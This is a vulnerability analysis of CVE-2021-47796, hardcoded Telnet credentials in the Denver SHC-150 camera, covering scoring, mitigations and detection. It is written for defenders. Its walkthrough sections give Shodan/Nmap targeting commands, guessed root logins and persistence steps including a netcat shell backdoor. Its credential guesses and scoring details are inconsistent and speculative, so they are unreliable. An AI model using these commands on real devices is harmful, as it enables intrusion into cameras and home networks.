CVE-2021-47796
CVE-2021-47796
Weakness (CWE)
CVSS Vector
v4.0- Attack Vector
- Network
- Attack Complexity
- Low
- Attack Requirements
- None
- Privileges Required
- None
- User Interaction
- None
- Confidentiality (Vulnerable)
- High
- Integrity (Vulnerable)
- High
- Availability (Vulnerable)
- High
- Confidentiality (Subsequent)
- None
- Integrity (Subsequent)
- None
- Availability (Subsequent)
- None
Description
Denver SHC-150 Smart Wifi Camera contains a hardcoded telnet credential vulnerability that allows unauthenticated attackers to access a Linux shell. Attackers can connect to port 23 using the default credential to execute arbitrary commands on the camera's operating system.
Comprehensive Technical Analysis of CVE-2021-47796
Denver SHC-150 Smart WiFi Camera – Hardcoded Telnet Credential Vulnerability
1. Vulnerability Assessment & Severity Evaluation
Vulnerability Overview
CVE-2021-47796 is a critical authentication bypass vulnerability in the Denver SHC-150 Smart WiFi Camera, stemming from hardcoded telnet credentials embedded in the firmware. This flaw allows unauthenticated remote attackers to gain root-level access to the device’s underlying Linux operating system via Telnet (port 23).
CVSS v3.1 Scoring & Severity Breakdown
| Metric | Value | Explanation |
|---|---|---|
| Base Score | 9.8 (Critical) | High impact on confidentiality, integrity, and availability. |
| Attack Vector (AV) | Network (N) | Exploitable remotely over the network without physical access. |
| Attack Complexity (AC) | Low (L) | No user interaction or special conditions required. |
| Privileges Required (PR) | None (N) | No prior authentication needed. |
| User Interaction (UI) | None (N) | Exploitable without victim involvement. |
| Scope (S) | Unchanged (U) | Impact is confined to the vulnerable device. |
| Confidentiality (C) | High (H) | Full system compromise, including sensitive data (e.g., video feeds, credentials). |
| Integrity (I) | High (H) | Attacker can modify firmware, configurations, or inject malicious code. |
| Availability (A) | High (H) | Device can be bricked, disabled, or repurposed for botnet activity. |
Risk Assessment
- Exploitability: Trivial – Publicly available exploit code (Exploit-DB #50160) enables automated attacks.
- Prevalence: High – Many IoT devices suffer from hardcoded credentials; this is a recurring issue in consumer-grade smart cameras.
- Impact: Severe – Full system compromise enables lateral movement, surveillance, botnet recruitment, or ransomware deployment.
2. Potential Attack Vectors & Exploitation Methods
Primary Attack Vector: Unauthenticated Telnet Access
-
Discovery Phase
- Attacker scans the network for open Telnet (port 23) on Denver SHC-150 cameras.
- Tools: Nmap (
nmap -p 23 --script telnet-brute <target>), Masscan, Shodan (port:23 "Denver SHC-150").
-
Exploitation Phase
- Attacker connects via Telnet using hardcoded credentials (likely
root:admin,admin:admin, or similar). - Exploit Example (Metasploit/Manual):
telnet <TARGET_IP> # Enter hardcoded credentials (e.g., root:123456) - Once authenticated, the attacker gains a root shell with full control over the device.
- Attacker connects via Telnet using hardcoded credentials (likely
-
Post-Exploitation Actions
- Persistence: Modify startup scripts (
/etc/rc.local) or install backdoors. - Lateral Movement: Use the camera as a pivot point to attack other devices on the network.
- Data Exfiltration: Access stored video feeds, WiFi credentials, or other sensitive data.
- Botnet Recruitment: Enlist the device in a DDoS botnet (e.g., Mirai, Mozi).
- Firmware Tampering: Replace legitimate firmware with malicious versions.
- Persistence: Modify startup scripts (
Secondary Attack Vectors
- Supply Chain Attacks: If the camera is deployed in enterprise environments, attackers could use it as an entry point.
- Man-in-the-Middle (MitM): If the camera connects to a cloud service, attackers could intercept or manipulate traffic.
- Physical Access: If an attacker gains physical access, they can extract firmware for reverse engineering.
3. Affected Systems & Software Versions
Vulnerable Product
- Device Model: Denver SHC-150 Smart WiFi Camera (Indoor model)
- Firmware Version: All versions prior to the patched release (if any exists).
- Hardware Revision: Likely affects all units shipped before the vulnerability was disclosed.
Verification Methods
- Firmware Analysis:
- Extract firmware via UART, JTAG, or firmware dumping tools (e.g.,
binwalk,Firmware Mod Kit). - Search for hardcoded credentials in
/etc/passwd,/etc/shadow, or configuration files.
- Extract firmware via UART, JTAG, or firmware dumping tools (e.g.,
- Network Scanning:
- Check for open Telnet (port 23) and attempt default credentials.
- Use Shodan or Censys to identify exposed devices.
4. Recommended Mitigation Strategies
Immediate Actions (For End Users & Organizations)
| Mitigation | Implementation | Effectiveness |
|---|---|---|
| Disable Telnet | Use the camera’s web interface or mobile app to disable Telnet (if possible). | High (if supported) |
| Network Segmentation | Isolate IoT devices on a separate VLAN with strict firewall rules. | High |
| Firewall Rules | Block inbound/outbound Telnet (port 23) at the network perimeter. | High |
| Change Default Credentials | If the device allows credential changes, replace them with strong, unique passwords. | Medium (if supported) |
| Disable Unused Services | Disable UPnP, FTP, or other unnecessary services. | Medium |
| Firmware Updates | Check Denver’s official website for patches (though none may exist). | Low (if no updates available) |
Long-Term Solutions (For Vendors & Enterprises)
-
Firmware Hardening
- Remove hardcoded credentials from firmware.
- Implement secure credential storage (e.g., hashed passwords, TPM-based authentication).
- Disable Telnet by default and enforce SSH with key-based authentication.
-
Automated Vulnerability Scanning
- Deploy IoT security scanners (e.g., Forescout, Armis, Tenable.io) to detect vulnerable devices.
- Use Shodan/Censys to monitor for exposed devices.
-
Zero Trust Architecture
- Enforce least-privilege access for IoT devices.
- Implement micro-segmentation to limit lateral movement.
-
Vendor Responsibility
- Issue a recall or firmware update to patch the vulnerability.
- Publish a security advisory with mitigation steps.
- Implement secure development lifecycle (SDL) to prevent future flaws.
5. Impact on the Cybersecurity Landscape
Broader Implications
- IoT Security Crisis: This vulnerability is representative of a systemic issue in consumer IoT devices, where cost-cutting leads to insecure defaults.
- Botnet Recruitment: Vulnerable cameras are prime targets for botnets (e.g., Mirai, Mozi), contributing to DDoS attacks, cryptojacking, and espionage.
- Privacy Violations: Unauthorized access to camera feeds can lead to surveillance, blackmail, or corporate espionage.
- Regulatory Scrutiny: Governments may impose stricter IoT security regulations (e.g., UK PSTI Act, EU Cyber Resilience Act).
Historical Context
- Similar vulnerabilities have been exploited in:
- CVE-2016-10372 (D-Link DCS-930L) – Hardcoded credentials in IP cameras.
- CVE-2017-17215 (Huawei HG532e) – Remote code execution via Telnet.
- Mirai Botnet (2016) – Exploited default credentials in IoT devices.
6. Technical Details for Security Professionals
Exploitation Walkthrough
-
Identify Target
- Use Shodan to find exposed Denver SHC-150 cameras:
shodan search "Denver SHC-150" port:23 - Alternatively, scan local networks with Nmap:
nmap -p 23 --script telnet-brute <TARGET_IP>
- Use Shodan to find exposed Denver SHC-150 cameras:
-
Connect via Telnet
- Attempt default credentials (common combinations):
telnet <TARGET_IP> # Try: root:admin, admin:admin, root:123456, admin:password - If successful, a root shell is obtained:
# id uid=0(root) gid=0(root)
- Attempt default credentials (common combinations):
-
Post-Exploitation Analysis
- Check running processes:
ps aux - Inspect network connections:
netstat -tuln - Dump firmware (if needed):
cat /dev/mtdblock* > /tmp/firmware_dump.bin - Persistence mechanisms:
- Modify
/etc/rc.localto execute a reverse shell on boot. - Install a backdoor (e.g.,
nc -lvp 4444 -e /bin/sh).
- Modify
- Check running processes:
Firmware Reverse Engineering (Optional)
- Extract Firmware
- Use binwalk to analyze the firmware:
binwalk -e firmware_dump.bin
- Use binwalk to analyze the firmware:
- Search for Hardcoded Credentials
- Grep for common credential patterns:
strings _firmware_dump.bin.extracted/squashfs-root/etc/passwd | grep -i "root" strings _firmware_dump.bin.extracted/squashfs-root/etc/shadow
- Grep for common credential patterns:
- Analyze Telnet Service
- Check if BusyBox or Dropbear is used for Telnet/SSH.
- Look for backdoor accounts in
/etc/passwd.
Detection & Monitoring
- SIEM Rules (e.g., Splunk, ELK):
- Alert on unauthorized Telnet connections to IoT devices.
- Monitor for unusual outbound traffic from cameras (e.g., DDoS participation).
- Network Traffic Analysis:
- Use Zeek (Bro) or Suricata to detect Telnet brute-force attempts.
- Look for unexpected shell sessions from IoT devices.
Conclusion & Recommendations
Key Takeaways
- CVE-2021-47796 is a critical, easily exploitable vulnerability with severe real-world consequences.
- Hardcoded credentials remain a pervasive issue in IoT devices, highlighting the need for secure-by-design principles.
- Immediate mitigation is required to prevent botnet recruitment, espionage, and network compromise.
Actionable Recommendations
-
For Consumers:
- Replace or isolate vulnerable Denver SHC-150 cameras if no patch is available.
- Disable Telnet and segment IoT devices from critical networks.
-
For Enterprises:
- Deploy IoT security solutions (e.g., Forescout, Armis) to detect and mitigate risks.
- Enforce strict access controls and monitor for anomalous activity.
-
For Vendors:
- Issue a firmware update to remove hardcoded credentials.
- Implement secure development practices to prevent future vulnerabilities.
Final Risk Rating
| Factor | Rating |
|---|---|
| Exploitability | Critical (10/10) |
| Impact | Critical (9.8/10) |
| Remediation Difficulty | High (No patch available) |
| Overall Risk | Extreme |
Security professionals should treat this vulnerability as an urgent priority, particularly in environments where IoT devices are deployed at scale.